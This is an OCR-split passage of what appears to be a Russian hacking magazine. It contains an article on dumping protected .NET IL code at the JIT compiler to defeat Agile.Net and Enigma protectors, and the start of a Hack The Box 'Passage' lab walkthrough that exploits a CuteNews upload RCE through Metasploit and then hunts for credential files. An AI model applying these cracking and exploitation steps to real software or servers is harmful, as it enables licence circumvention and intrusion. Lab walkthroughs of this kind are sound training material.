хороший помощ ник в поиск  е новых возм  ожност  ей для зак репле ния — все та
же утил  ита Autoruns.

Одн  ако  выгодн  о  рас положенн  ая  в  сис теме  ссыл ка  на  бэкд  ор  —  это  еще
не  все.  О  том,  какой  исполня емый  файл  для  это го  использ  овать  и  как
при  этом  эффективн  о  обой ти  антив  ирус,  я  рас скаж  у  в  сле дующей  сво ей
статье.

ВЗЛОМ

РЕВЕРСИНГ

.NET

МВК

КАК ИСКАТЬ JIT‐КОМПИЛЯТОР
В ПРИЛОЖЕНИЯХ

Во врем  я декомп  иляции и ана лиза .NET‐при ложен  ий ревер‐ 
серы  сталк  иваю  тся  с  раз личны ми  методам  и  анти отладки.
Один из них — сок рытие метаданн  ых и IL‐кода, которые вос‐ 
ста навл  ива ются  толь ко  при  JIT‐ком пиляции  прогр  аммы.
Для  борьб  ы  с  ними  хакеры  и  реверс‐инже неры  прид  умал  и
целый  комп  лекс  спе циальн  ых  инс трум  ен тов  и  методов,
которые мы рас смотр  им в сегодн  яшней статье.

INFO

О  прин ципах  взлом  а  при ложе ний,  защищенн  ых
прот  ект  ором  Enigma,  читай  в  стать ях  «Боль ше
не  эниг ма.  Ломае  м  защиту  прил  оже ний  Enigma
x64  актуа  льн  ых  вер сий»  и  «Три альн  ый  конь.
Как сло мать trial, защищен ный Enigma Protector».

C  лег кой  руки  Microsoft  одной  из  самых  популярн  ых  плат форм  для  прог‐ 
рамми рован  ия в наст  оящее вре мя стал  а .NET. Огромное количест  во инс тру‐ 
мен тов,  биб лиотек  и  докумен тации  обесп  ечива ют  прос тоту  вхож дения  даже
для  самых  начинаю  щих  кодеров,  а  кросс‐плат формен ность  и  все  более
соверш  енная  оптим  иза ция  кода  дела ют  ее  одним  из  основных  стан дартов
написа ния  комм  ерчес кого  соф та.  Как  следс твие,  инс трум  ент  ов  для  взло ма
и реверс‐инжин  ирин га под эту плат форму тоже успе ли созд  ать немало. Сре‐ 
ди них dnSpy, ILspy, ILdasm, Dile, SAE и мно гие дру гие, имя им — легио  н!

Зад  ача  для  ревер серов  упрощ  ает ся  тем,  что  по  умолч  анию  ском пилиро‐ 
ван ная прогр  амма фак тичес ки содер жит свой исходник: име на симв  олов хра‐ 
нят ся  в  явном  виде,  а  кросс‐плат форменн  ый  IL‐псев докод  лег ко  вос ста нав‐ 
ливае  тся до исходных син такси чес ких конст  рук ций C# или VB, из которых он
был  получен  при  ком пиляции.  Соот ветст  вен но,  взлом  такой  прогр  аммы
для  начина юще го  хакера  —  одно  удо вольс  твие:  дост  аточн  о  заг рузить  ее
в dnSpy, и вот она, на блю деч ке в свои  х исходник  ах, для удобс тва даже окра‐ 
шенн  ых  в  при ятные  цвет  а.  Отла живай  и  правь  как  хочешь,  как  буд то  сам  эту
прог рамму и написал!

НЕМНОГО ТЕОРИИ
Раз  умее  тся,  про изво дите ли  софт  а  мирить ся  с  подобн  ым  положен  ием  дел
не  могут,  и  на  оче редн  ом  вит ке  конф  ронт  ации  межд  у  хакерам  и  и  прот  ек‐ 
торами  было  разр  аботан  о  мног  о  инст  ру мент  ов,  пре пятс твую  щих  вос ста нов‐ 
лению исходно го кода из IL‐сборк  и. Груб  о говоря, все подоб ные инст  рум  ен‐ 
ты использ  уют три основных прин ципа:
• сокр  ытие  (шифр  ование,  комп  рес сия  и  так  далее)  .NET‐метадан ных  и  IL‐

кода с восс  тан  овл  ени ем тольк  о в крат кий миг JIT‐комп  иляции;
• об фуска ция  IL‐кода,  то  есть  предн  амеренн  ое  запутыв  ание  его  логики,

борьб  а  с  чита емостью  текс  тов  ых  строк  и  имен  симв  олов,  что бы  понять
логику работы восс  тан  овл  енног  о IL‐кода было слож нее;
• ком бинация двух пре дыду щих катего рий.

Се годн  я  мы  погово рим  о  методах  из  перв  ой  категор  ии.  В  прин ципе,  наибо‐ 
лее  прос той  и  дубовый  спо соб  огра дить  прогр  амму  от  ILDasm  —  ском‐ 
пилиро вать  ее  с  атриб  утом  SupressIldasmAttribute.  Понят ное  дело,
это  защита  от  чест  ных  людей,  пос кольк  у  такая  сборк  а  прев  ос ходно  детек‐ 
тируе  тся  как  .NET‐при ложе ние,  деком пилируе  тся  друг  ими  инс трум  ен тами,
а данн  ый атри бут с пол пинка сним  ает ся в CFF Explorer или, при изрядной сно‐ 
ров ке,  в  прост  ом  HEX‐редакт  оре.  Более  инте ресн  о  «заверн  уть»  метадан ные
в обыч ное натив ное при ложен  ие, фор мирую  щее и запуск  ающее .NET‐сборк  у
на лету.

В этом слу чае никакие детект  оры не рас позна ют в ней .NET, если их пред‐ 
варительн  о  не  обуч  или  этом  у  трю ку,  а  декомп  илятор  ы  и  отладчи ки,  с  ходу
не  увид  евш  ие  в  прог рамме  метаданн  ых,  обло мают ся  при  загр  узке.
С помощью dnSpy можн  о попытатьс  я иссле довать такое прил  ожен  ие, одна ко
при пре рыва нии он нав ряд ли смо жет вос стан  овить и трас сировать код даль‐ 
ше, что дела ет такую отладку бес полезн  ой. Как быть в таком случ  ае?

Сам  ый  прос той  спо соб  —  вос польз  овать ся  ути литой  MegaDumper  (или
даже  ее  более  продв  инутой  верс  ией  ExtremeDumper).  Если  .NET  сфор‐ 
мирован  и  запущен  по  всем  пра вилам,  то  он  корр  ек тно  расп  ознае  тся  упо‐ 
мянут  ыми  утил  итам  и  имен но  как  .NET‐про цесс,  и  при  нажатии  кно поч ки 
.NET dump  дамп  ится  как  стан дар тное  .NET‐при ложе ние.  Правд  а,  вовс  е
не  факт,  что  оно  будет  запус кать ся.  Что бы  при вест  и  его  в  запуск  аемый  вид,
прид  ет ся  про делать  опре делен ные  телод вижения,  в  зависи мост  и  от  прод‐ 
винутост  и про тек тора. Тем не менее метадан ные .NET и IL в такой сдамп  лен‐ 
ной  сборк  е  будут  дос тупны  для  деком пиляции  и  ана лиза.  Мож но  убед  итьс  я
в этом, открыв сбор ку, напр  имер, в CFF Explorer. Однак  о я спе циаль но сдел  ал
ого вор ку  «если».  Поп робуе  м  разоб рать ся,  почему  подобн  ое  может  не  сра‐ 
ботать.

Для  это го  пос тараю  сь  корот ко  в  двух  слов  ах  напомн  ить  принц  ип  функ  ци‐ 
онир  ова ния .NET‐прил  оже ния для тех, кто забыл мат часть. Несм  отря на то что
сборк  а сост  оит из метаданн  ых и кросс‐плат форменн  ого IL‐кода, при выпол‐ 
нении при ложен  ия он не интерп  рет  иру ется, а ком пилируе  тся в весь ма опти‐ 
мизир  ован ный нативн  ый код целево го проц  ес сора и целевой опер  аци онной
сист  емы.  Делае  тся  это  непос редст  венн  о  при  загр  узке  бло ка  кода  один  раз,
впос ледст  вии  будет  выпол нятьс  я  уже  ском пилиро ванн  ый  натив ный  код
метода.  Сам  про цесс  называ ется  JIT‐комп  иляция  (Just  In  Time,  «врем  ен ная
комп  иляция  на  лету»).  То  есть  если  прер вать  прогр  амму  в  про извольн  ый
момент  в  отладчик  е  типа  x64dbg,  то  про цесс  будет  остан  ов лен  именн  о
во врем  я исполне ния такого вре менн  о скомп  илиро ванн  ого нативн  ого кода.

Трас сировать,  отлаж  ивать  и  ревер сировать  его,  конеч но,  мож но,
но  целесо образность  это го  сомн  ительн  а.  Нас  интер  есу ет  друг  ой  подх  од  —
пой мать  и  сдамп  ить  уже  вос стан  ов ленный  фраг мент  IL‐кода  перед  его  JIT‐
комп  иляцие  й. Логика подс  ка зыва ет, что, если мы хотим сде лать это вручн  ую,
нам  надо  най ти  в  отладчик  е  изнач  альн  ую  точк  у  вход  а  в  JIT‐комп  илятор.
Самое  прос тое  —  отыск  ать  метод  SystemDomain::Execute  в  библ  иотек  е
clr.dll  (или  mscorwks.dll  для  более  стар  ых  верс  ий  .NET).  Обыч но
для  подоб ных  вещей  рекомен дуют  исполь зовать  WinDbg  и  его  расш  ирение
SOS, но я для прим  ера покажу, как это делать в x64dbg.

ИЩЕМ JIT-КОМПИЛЯТОР
Итак, загр  узив нужн  ое при ложен  ие в отладчик, мы с неп рият ным удивл  ени ем
обнар  ужи ваем,  что  биб лиотек  а  clr.dll  отсутст  вуе  т  в  списк  е  отла дочн  ых
симв  олов.  Знач  ит,  ее  при дет ся  загр  узить  дополн  ительн  о,  пред варительн  о
отыск  ав  глуб  око  в  нед рах  под катало гов  сист  емной  пап ки  Windows.  Най дя
и  загр  узив  clr.dll  (попут но  заг рузит ся  неск  ольк  о  биб лиотек),  мы  сно ва
с разд  ра жени ем обна ружим, что метод SystemDomain::Execute  отсутс твуе  т
в пра вом списк  е экспор та. Ну что ж, по счастью, x64dbg пре дост  авля ет прек‐ 
расную воз можность загр  узить отла доч ные симв  олы прям  о с май кро соф тов‐ 
ско го  серв  ера  —  для  этог  о  нужн  о  щел кнуть  прав  ой  клав  ишей  мыши  на  clr.
dll и выбр  ать соот ветст  ву ющий пункт в кон текс тном меню.

По дожд  ав  некото рое  врем  я,  мы  увид  им,  что  спи сок  в  пра вой  част  и  окна
отладчик  а  изрядно  уве личил ся  и  иско мый  метод  SystemDomain::Execute
в  нем  уже  при сутс твуе  т.  Ста вим  на  него  точк  у  остан  ова  и  запуск  аем  прог‐ 
рамму.  В  момент  оста нова  на  этом  методе  дот нетовс  кие  метадан ные  чаще
все го  уже  рас шифро ваны,  расп  акован  ы  и  их  можн  о  дам пить  в  файл  хоть
MegaDumper’ом,  хоть  Scylla  из  самого  дебаг гера.  Одна ко  это го  тоже  может
оказ  ать ся недост  аточн  о. Поп робу ем коп нуть чуть глуб же и вый ти на исходный
JIT‐ком пилятор.

Для это го найд  ем и загр  узим вышео  пи санн  ым спо собом библ  иоте ку clr‐
jit.dll,  а  так же  отлад  очн  ые  сим волы  к  ней.  Находим  в  них  след  ующий
метод:

private: virtual enum CorJitResult __stdcall CILJit::compileMethod(
class ICorJitInfo *,struct CORINFO_METHOD_INFO *,unsigned int,
unsigned char * *,unsigned long *)

Это  и  есть  иско мая  точк  а  вхо да  JIT‐ком пилятор  а,  транс  ли рующег  о  IL‐код
в  натив ный  машино зави симый.  К  сожале нию  (или  к  счастью),  данн  ый  метод
может быть под менен через функ  цию GetJit того же самого модуля clrjit.
dll,  чем  и  польз  уют ся  прот  ект  оры,  инжектир  уя  в  ком пилятор  собст  венн  ый
модуль  расш  ифров ки  IL‐кода.  К  нашей  радост  и,  сов сем  подм  енить  ком‐ 
пилятор на свой собст  вен ный они не могут, ибо тог да им прид  ет ся фак тичес‐ 
ки  с  нуля  перепи сывать  всю  плат форму  .NET,  с  пол ной  под дер жкой  раз ных
опер  ацио  нных сист  ем и проц  есс  оров. То есть в какой‐то момент рас шифро‐ 
ванн  ый код будет передан в най денн  ый нами родн  ой ком пилятор. Там мы его
бла гопо луч но  при мем.  Ста вим  точ ку  остан  ова  на  дан ный  метод  и  запуск  аем
прогр  амму.

Пос ле  того  как  прогр  амма  оста новит ся,  поп робуе  м  проа  на лизир  овать
парамет ры  на  сте ке.  Для  это го  сно ва  вспом ним  теорию.  В  терм  инах  язык  а
С опи сание дан ного метода выгл  ядит вот так:

CorJitResult (__stdcall * compileMethod) {
   struct ICorJitCompiler      *pThis, /* IN */
   struct ICorJitInfo          *comp, /* IN */
   struct CORINFO_METHOD_INFO  *info, /* IN */
   unsigned /* CorJitFlag */   flags, /* IN */
   BYTE                        **nativeEntry, /* OUT */
   ULONG                       *nativeSizeOfCode /* OUT */

Тре тий  сверх  у  сте ка  адрес  (аккур  ат  над  двойн  ым  слов  ом  flags,  которые
обычн  о  равн  ы  FFFFFFFF)  —  ука затель  на  струк туру  CORINFO_METHOD_INFO.
Эта  структ  ура  содер жит  дан ные  о  бло ке  IL‐кода,  которым  опис  ыва ется  ком‐ 
пилиру емый  метод.  Сно ва  покурив  мануа  лы,  находим  опис  ание  этой  струк‐ 
туры:

struct CORINFO_METHOD_INFO {
   CORINFO_METHOD_HANDLE ftn;
   CORINFO_MODULE_HANDLE scope;
   BYTE *                ILCode;
   unsigned              ILCodeSize;
   unsigned short        maxStack;
   unsigned short        EHcount;
   CorInfoOptions        options;
   CORINFO_SIG_INFO      args;
   CORINFO_SIG_INFO      locals;

};

Пе рейд  я  в  дам пе  по  ссыл ке,  мы  обна ружим,  что  третье  двойн  ое  слов  о
с начала струк туры и вправд  у указ  атель на IL‐код метода, а чет вертое — раз‐ 
мер бло ка. Конеч но, доволь но нап ряжно вот так вот руками в отладчи ке рас‐ 
шифро вывать  кажд  ый  метод  по  одно му.  Одна ко  мы  теперь  зна ем,  как  это
делае  тся,  и  при  желании  можем  ревер сировать  всю  предш  ес твую  щую  пос‐ 
ледова тель ность  дей ствий,  которую  про изво дит  с  бло ком  кода  инжекти‐ 
рованн  ый  в  него  про тект  ор.  В  кон це  конц  ов,  можн  о  инжектир  овать  свой  код
меж ду  про тект  ором  и  род ным  ком пилято ром  и  реали зовы вать  собс твенн  ый
дамп  ер для кажд  ой новой защиты.

ПРОВЕРКА В БОЮ
Поп робуе  м  исполь зовать  данн  ый  метод  на  случ  ай ном  при ложе нии,  которое
защищен  о  рас простран  енн  ым  и  доволь но  мер зким  про тект  ором‐обфуска‐ 
тором  Agile.Net.  При ложен  ие  при  заг рузке  в  отладчи ки  или  декомп  илятор  ы
выдае  т практ  ичес ки у всех методов пуст  ое тело, сост  оящее из одной коман‐ 
ды ret или ldnull/ret. То же самое тво рит ся в сек ции Main, однак  о .cctor
ссы лает ся  на  вызов  внеш ней  DLL‐ки,  внут ри  которой  при  бегл  ом  осмотре
обна ружи вает ся  упо мина ние  AgileDotNetRT.dll.  Собс твен но,  die  так
и  иден тифицир  ует  защиту,  сом нений  быть  не  может.  Начинае  м  копать  прог‐ 
рамму всем  и дос тупны ми нам инс тру мен тами.

Де обфускат  оры  (вклю чая  род ной  Agile.NET‐Deobfuscator‐DNLIB)  с  ходу
справ  ить ся с прогр  аммой не могут, дамп с помощью MegaDumper и Extream‐
Dumper не добав ляет данн  ых, отобр  ажа ющихс  я в телах методов. Не помога ет
так же ManagedJitter — сло вом, все инст  ру мен ты, имею  щиеся у нас под рукой,
ока зались  бес сильн  ы.  Забегая  впе ред,  отме чу,  что  сущес твуе  т  вер сия  дам‐ 
пера  спе циаль но  для  Agile:  SimpleMSILDecryptorForAgile,  которая  осно вана
имен но на упо мянут  ом выше прин ципе инъе  кции свое  го кода в clrjit, но мы
поп робуе  м дойт  и до это го сво им путем.

Итак,  испыт  ав  все  спо собы,  заг ружае  м  нашу  прог рамму  в  x64dbg  и,
как было опи сано выше, ста вим бряк на CILJit::compileMethod. Неск  ольк  о
раз  бряк  сраб  атыв  ает  норм  аль но,  правд  а  подава емый  на  вход  ком пилиру‐ 
емый код методов не отлич  ает ся от исходног  о, который мы видели в деком‐ 
пилято ре. И вдруг вне запн  о счастье заканч  ива ется, прог рамма мол ча завер‐ 
шает ся.  Похоже,  Agile  оправдыв  ает  свою  репута цию,  активно  борясь
с отладчи ком.

Мы  тоже  мог ли  бы  поборотьс  я  с  антио  тладчи ком,  но  сей час  у  нас  цель
нес кольк  о  дру гая,  и  мы  не  отвлек  аемс  я  на  подоб ные  мелочи.  Вре мен но
отклю чаем точ ку остан  ова и перезап  ус каем прил  оже ние — оно стар тует нор‐ 
мальн  о. Ну что ж, антио  тладчик  у не нрав  ят ся толь ко активные точк  и остан  ова
внут ри clrjit, и это раду ет. Прер  ыва ем прогр  амму и опять акти вируе  м точк  у
остан  ова  на  compileMethod  —  по  счастью,  прог рамма  не  конч  ает  жизнь
само убий ством. Знач  ит, про верк  а идет не пос тоянн  о, а в некото рых ключ  евых
точ ках, это тоже обнад  ежив  ает.

Смот рим  более  вни матель но,  где  имен но  мы  остан  овил  ись.  Ага,  вызов
clrjit::CompileMethod  из  той  самой  кас томной  DLL‐ки.  Смот рим  по  стек  у
вызовов,  отку да  мы  сюда  попали.  На  наше  счастье,  все го  в  одном  вло жении
выше идет вызов инжектир  ован ной функ  ции прот  ект  ора из clr.dll. Мы наш‐ 
ли вход и выход расш  ифров щика IL‐кода. Cтав  им на них две точк  и оста нова,
бла го  анти отладчик  борет ся  тольк  о  с  бряк  ами  на  ориг  иналь ный  clrjit::
CompileMethod,  пос ле  чего  перезап  ус каем  прогр  амму.  Попут но  став  им  сох‐ 
ранение в лог знач  ений CORINFO_METHOD_INFO*info и BYTE*ILCode на вхо де
и выходе из инъе  кции.

Поск  ольк  у все точ ки оста нова рас положе ны вне clrjit, антио  тладчик нам
уже не меша ет. С момен та запуск  а инжектир  ован ного комп  илятор  а два раза
он  сра баты вает  вхо лос тую  —  исходный  IL‐код  передае  тся  на  ори гиналь ную
комп  иляцию без измен  ений. А вот на тре тий уже инте ресн  о: указ  атель на IL‐
Code в структ  уре info под менен на новый блок памяти разм  ером 0x100000,
который,  в  принц  ипе,  уже  мож но  дамп  ить  для  исслед  ован  ия.  Остав  им  его
за рамк  ами нашей статьи, оста новим ся толь ко на паре момент  ов.

Преж де  всег  о  про верим,  какой  имен но  метод  подм  енен  про тект  ором.
На самом деле задача не такая прост  ая, как может показатьс  я. В структ  урах,
подавае  мых на вход CompileMethod, име ются тольк  о парамет ры ком пилиру‐ 
емо го  бло ка  кода,  но  нет  ни  указ  ател  я  на  имя  метода,  ни  даже  его  индекса
в табл  ице методов. А ведь это при дет ся делать, если мы хотим написать свой
собст  венн  ый  дамп  ер.  Прям  ой  спос  об  —  использ  овать  сле дующий  метод
интерфей са ICorStaticInfo:

virtual const char* getMethodName(
   CORINFO_METHOD_HANDLE ftn, /* IN */
   const char            **moduleName /* OUT */

) = 0;

Здесь задейс  тво ван параметр comp и хендл метода ftn, однак  о из отладчик  а
это  сдел  ать  зат рудни тель но,  поэтом  у  мы  слег ка  схалт  урим.  Дело  в  том,  что
хендл  ftn  (пер вое  двойн  ое  сло во  в  структ  уре  CORINFO_METHOD_INFO),  если
его  использ  овать  как  указ  атель,  ука зыва ет  на  один  ар ное  слов  о  —  индекс
метода в .NET‐метада те EXE‐модуля. В нашем прим  ере это 0x23=35.

От кры ваем CFF Explorer и находим метод — Main. В ориг  инал  е он занима‐ 
ет 1 байт ret, одна ко на выходе он попр  авил ся до 0x1A байт. Попут но мы наш‐ 
ли  и  раз вилку  в  коде,  фильт  ру ющую  внеш ние  методы,  которые  тран зитом
переда ются в ориг  инальн  ый ком пилятор без измен  ений, а такж  е сам код пре‐ 
обра зова ния и замены:

730B902E | mov ecx,dword ptr ds:[edx+C]
730B9031 | mov dword ptr ss:[ebp‐190],ecx
730B9037 | cmp dword ptr ss:[ebp‐19C],0
730B903E | je 730B90BF <‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
730B9040 | mov eax,dword ptr ss:[ebp‐18C]
730B9046 | push eax
730B9047 | mov ecx,dword ptr ss:[ebp‐48]
730B904A | push ecx
730B904B | lea edx,dword ptr ss:[ebp‐3C]
730B904E | push edx
730B904F | mov ecx,dword ptr ss:[ebp‐4]
730B9052 | call 730B1361
730B9057 | push 1C
730B9059 | push 0
730B905B | call dword ptr ds:[<&GetProcessHeap>]
730B9061 | push eax
730B9062 | call dword ptr ds:[<&RtlAllocateHeap>]
730B9068 | mov dword ptr ss:[ebp‐38],eax
730B906B | mov eax,dword ptr ss:[ebp‐3C]
730B906E | push eax
730B906F | mov ecx,dword ptr ss:[ebp‐38]
730B9072 | push ecx
730B9073 | call 730B1104
730B9078 | mov eax,dword ptr ss:[ebp+10]
730B907B | mov dword ptr ss:[ebp‐1A0],eax
730B9081 | mov eax,dword ptr ss:[ebp+10]
730B9084 | mov ecx,dword ptr ss:[ebp‐38]
735D9087 | mov edx,dword ptr ds:[ecx+C]
735D908A | mov dword ptr ds:[eax+8],edx <‐‐ edx‐указатель на новый IL
‐код метода Main

ЗАКЛЮЧЕНИЕ
И  на  закус ку  по  тра диции  вспомн  им  о  нашей  «Эниг ме»,  которой  были  пос‐ 
вящены  две  мои  пре дыдущ  ие  статьи  («Ло маем  защиту  прил  оже ний  Enigma
x64 актуа  льн  ых верс  ий» и «Как  сло мать  trial,  защищенн  ый  Enigma  Protector»).
Как  я  уже  говорил,  с  ней  совс  ем  все  плох  о:  дот нетов ские  метаданн  ые  упря‐ 
таны  глу боко  в  упа кованн  ый  и  зашифр  ован ный  код.  Соот ветст  вен но,  при‐ 
ложе ние  не  рас позна ется  как  дот нетовс  кое,  не  гру зит ся  норм  аль но
в  отладчи ки  и,  понят ное  дело,  не  дамп  ится.  Прич  ем  анти отладчик  там  нас‐ 
тольк  о  серь езный,  что  не  поз воляе  т  прос то  так  взять  и  устан  овить  бряк
на CompileMethod (да и вооб ще никуда не позв  оляе  т), а ведь нам для реали‐ 
зации  опис  ан ного  метода  нужн  а  точ ка  остан  ова  не  прос то  в  этом  мест  е,
а именн  о в момент JIT‐комп  иляции основно го кода при загр  узке прил  ожен  ия.

Все  выгл  ядит  доволь но‐таки  страшн  о,  однак  о  попр  обу ем  зайт  и  с  дру гой
сто роны.  В  статье  «Ломае  м  защиту  при ложен  ий  Enigma»  я  упо минал,  что
во  вре мя  работы  прил  ожен  ия  расш  ифров  анн  ые  сек ции  прис  утс тву ют
в  памяти  про цесс  а.  В  дот нетов ских  прогр  аммах  для  ана лиза  обыч но  необ‐ 
ходимы  две  секц  ии:  .text,  где  содер жатся  метаданн  ые  и  IL‐код,  а  такж  е 
.rsrc с ресурс  ами. Попр  обу ем поис кать эти секц  ии в памяти про цес са.

За  мас ку  поис ка  секц  ии  .text  возь мем,  к  при меру,  имя  потока
"#Strings", содерж  ащего в себе спис  ок строк со служ  еб ной информа цией:
назв  ания клас сов, методов и атриб  утов.

Та ких  вхожд  ений  обна ружи вает ся  немало  (по  числ  у  загр  ужен ных  .NET‐
биб лиотек).  Фильт  ру ем  их  по  заголов кам  .NET‐метаданн  ых  и  по  Assembly.
Name  опре деляе  м  имя  модуля.  Для  поис ка  секц  ии  ресурс  ов  мож но  исполь‐ 
зовать  какую‐нибудь  строк  у  из  манифес та,  напр  имер  <assembly  xmlns=.
При надл  ежность найд  ен ной секц  ии идент  ифици руем по ProductName.

Итак, у нас есть две рас шифров  анн  ые жиз ненно важ ные секц  ии. Прил  епив
к ним PE‐заголо вок и под пра вив в нем валидн  ые раз меры, мы получае  м EXE‐
файл,  который  хоть  и  не  запус кает ся,  но  прек расно  загр  ужа ется  в  деком‐ 
пилято ры  и  деобф  ускат  оры  для  пос ледую  ще го  анал  иза  кода.  По  идее,
исполняе  мый  файл  мож но  даже  сде лать  рабочим,  запуск  аемым,  вос поль‐ 
зовавш  ись  одним  из  инс тру мен тов,  которые  нет рудно  отыс кать  в  интернет  е.
Но это уже тема для дру гого раз говора.

ВЗЛОМ

HTB

PASSAGE

ЭКСПЛУАТИРУЕМ RCE В CUTENEWS
И ПОДНИМАЕМ ПРИВИЛЕГИИ
ЧЕРЕЗ GDBUS

В этой статье мы пройд  ем машину Passage RalfHacker
с популярн  ого сер виса Hack The Box и про‐  [email protected]
экс плуа  ти руем  уяз вимость  в  CMS  Cute‐
News.  Заодн  о  научим ся  добав лять  эксп  ло‐ 
иты в базу Metasploit Framework, потр  ениру‐ 
емся  в  поис ке  важн  ых  для  разв  ития  атак  и
фай лов  и  узна ем,  что  такое  D‐Bus  и  как
повысить  при виле гии  с  помощью
USBCreator.

Под клю чатьс  я  к  лабора тор ной  машине  будем  через  VPN.  Рекомен дую
не  под клю чатьс  я  с  рабочег  о  компь юте ра  или  с  хос та,  где  есть  важ ные
для тебя данн  ые, так как ты попадешь в одну час тную сеть с людьм  и, которые
что‐то да уме ют в области ИБ. :)

WARNING

Вся  информа ция  пре дост  авлен  а  исклю чительн  о
в озна комит  ельн  ых целях. Ни редакц  ия, ни автор
не  несут  ответс твен ности  за  любой  возм  ожный
вред,  при чинен ный  в  резуль тате  исполь зования
зна ний и методов, опис  ан ных в статье.

РАЗВЕДКА
Сканирование портов
Маш  ина  имее  т  IP‐адрес  10.10.10.206,  который  я  добав ляю  в  /etc/hosts,
что бы мож но было обра щать ся к хос ту по имен  и.

10.10.10.206    passage.htb

Лю бая  атак  а  начинае  тся  со  ска ниро вания  открыт  ых  на  хост  е  пор тов.
Это  необх  одимо  для  того,  что бы  ата кующий  узнал,  какие  служб  ы  при нима ют
соедин  ение.  Исхо дя  из  полученн  ой  информа ции,  мож но  выбирать  путь
для  получе ния  точ ки  вход  а  и  опор  ы.  Я  это  делаю  с  помощью  след  ующе го
скрипт  а,  который  исполь зует  ути литу  Nmap  и  прин  имае  т  один  аргу мент  —
адрес ска ниру емо го хост  а.

Сна чала  скрипт  исполь зует  Nmap,  чтоб  ы  сдел  ать  обычн  ое  быст  рое
саниро вание.  Затем  он  пар сит  все  пор ты  из  вывода  и  повт  оря ет  скан  иро‐ 
вание  толь ко  обнар  уженн  ых  пор тов  с  использ  ование  м  имею  щихс  я  скрип тов
(опция ‐A).

#!/bin/bash
ports=$(nmap ‐p‐ ‐‐min‐rate=500 $1 | grep ^[0‐9] | cut ‐d '/' ‐f 1 | 
tr '\n' ',' | sed s/,$//)
nmap ‐p$ports ‐A $1

Рез  ульт  ат работы скрипт  а
Мы  имее  м  две  служ бы  —  SSH  (порт  22)  и  веб‐серв  ер  Apache  (порт  80).
На  SSH  нам  ловить  нечего,  так  как  единст  вен ное,  что  там  можн  о  делать,  —
это брут форсить учет ные данн  ые. Брут форс — посл  еднее дело. Поэтом  у нам
оста ется  искать  точк  у  вход  а  на  сайт  е.  Перейд  я  на  сайт,  легк  о  опред  еляе  м
сист  ему управле ния кон тентом — CMS CuteNews.

Powered by CuteNews

Точка входа
Пер вым делом сто ит пров  ерить, есть ли для обнар  ужен ной CMS уже готовые
эксп  ло иты.  Лучш  ий  спо соб  это  уста новить  —  поиск  ать  на  сай тах  вро де
HackerOne, exploit‐db, а такж  е GitHub. Но если ты исполь зуешь спе циальн  ый
дист  ри бутив вро де Kali Linux, то база экс плои  тов Exploit‐DB уже у тебя на дис‐ 
ке. Для удоб ной работы с дан ной базой можн  о исполь зовать ути литу search‐
sploit,  так же  пред  ус танов ленную  в  дис три бутив  е.  Имен но  с  помощью  ее  мы
и находим ряд экс пло итов.

searchsploit cutenews 

Экс пло иты, найд  енн  ые searchsploit
Так  как  мы  не  зна ем  верс  ию  CMS  на  ата куемом  хос те,  то  след  ует  выб рать
экс пло ит  для  более  позд  ней  (2.1.2).  Луч ше  все го  для  нас,  если  отра бота ет
тот,  который  даст  выпол нение  кода  —  RCE.  Помет ка  Metasploit  озна чает,  что
этот эксп  ло ит уже выпущен для Metasploit Framework.

Суть экс плу ати руемой уяз вимост  и в том, что при измен  ении ават  ар ки про‐ 
филя мы можем заг рузить не тольк  о изобр  ажение, но и файл с расш  ирение  м
.php. К фай лу затем можн  о обрат  итьс  я, и это прив  едет к выполн  ению на сер‐ 
вере кода, содер жащего ся в метадан ных фай ла‐изобр  ажения.

ЗАКРЕПЛЕНИЕ
Так  как  в  пос тавку  Metasploit  Framework  этот  эксп  ло ит  не  вход  ит,  его  нуж но
добавить в базу. Для начала получим пол ный путь к фай лу экс пло ита (опция ‐
p  позв  олит  сохр  анить  пол ный  путь  к  файл  у  сраз  у  в  буфер  обме на),  а  затем
копируе  м в дирек торию с эксп  лои  та ми.

До бавл  ение фай ла экс плои  та в Metasploit Framework
Ав торы  допуст  или  ошиб ку:  не  хва тает  запятой.  Откро ем  файл  эксп  ло ита
и добавим ее, как ука зано на скрин шоте ниже.

Ис правл  ение ошиб ки в исходном коде экс пло ита
В  register_options  содерж  атся  парамет ры,  с  которым  и  запуск  ает ся  экс‐ 
пло ит.  К  прим  еру,  в  дан ном  случ  ае  нам  нуж но  знать  путь  к  базовой  дирек‐ 
тории CMS, а так же учет ные данн  ые поль зовате ля.

Пар  амет ры экс пло ита
В  качес тве  знач  ения  парамет ра  TARGETURI  по  умол чанию  использ  ует ся  /
CuteNews.  Перейд  я  к  этой  стра нице  на  сайт  е,  получим  фор му  автор  иза ции.
Нам нужн  о зарегист  ри ровать нового польз  овате ля, именн  о его учет ные дан‐ 
ные мы и будем исполь зовать при запус ке эксп  ло ита.

Фор ма авто риза ции CuteNews

Те перь,  когд  а  мы  испра вили  ошибк  и  в  экс пло ите  и  получи ли  все  необ‐ 
ходимые данн  ые для его работы, команд  ой reload_all обно вим базу Metas‐
ploit Framework, что бы заг рузить тольк  о что добав ленный эксп  ло ит.

Обн  овле ние базы Metasploit Framework

Посл  е  успешно го  обновле ния  базы  заг ружае  м  наш  эксп  ло ит,  задае  м  зна‐ 
чения парамет ров и выпол няем.

use exploit/46698 
set username [имя зарегистрированного пользователя] 
set password [пароль зарегистрированного пользователя] 
set LHOST [наш IP‐адрес] 
set LPORT [локальный порт для прослушивания] 
set RHOSTS [адрес цели] 
run 

Подк  лю чение к хост  у с помощью эксп  лои  та в сред  е Metasploit Framework

В  отче те  наб люда ем  успешные  под клю чение,  авто ризац  ию,  заг рузку  фай ла
на  сер вер  и  запуск  наг рузки,  что  в  ито ге  при водит  нас  к  шел лу  Meterpreter.
Коман дой getuid про веряе  м, в конт  екс  те какого поль зовате ля мы работа ем.
В  дан ном  случ  ае  у  нас  кон текст  учет ной  записи  служ бы  веб‐серв  ера:  поль‐ 
зователь www‐data.

ПРОДВИЖЕНИЕ
Credential Access
Так как на хост  е разв  ернут веб‐сер вер, а на нем работа ет целая CMS, то пер‐ 
вое наше дейс  твие — попр  обовать получить какие‐нибудь польз  овательс  кие
учет ные  дан ные.  Высока  вероя  тность,  что  эти  учет ки  подой дут  и  для  локаль‐ 
ных  польз  овател  ей  тоже.  В  случ  ае  с  CuteNews  нас  инте ресуе  т  директ  ория  /
cdata/users.

Со держ  имое дирек тории /cdata
Здесь  дол жны  находить ся  файл  ы  users.txt  и  lines.  Как  раз  вто рой  пред‐ 
ставл  яет для нас инте рес.

Со дер жимое дирек тории /cdata/users

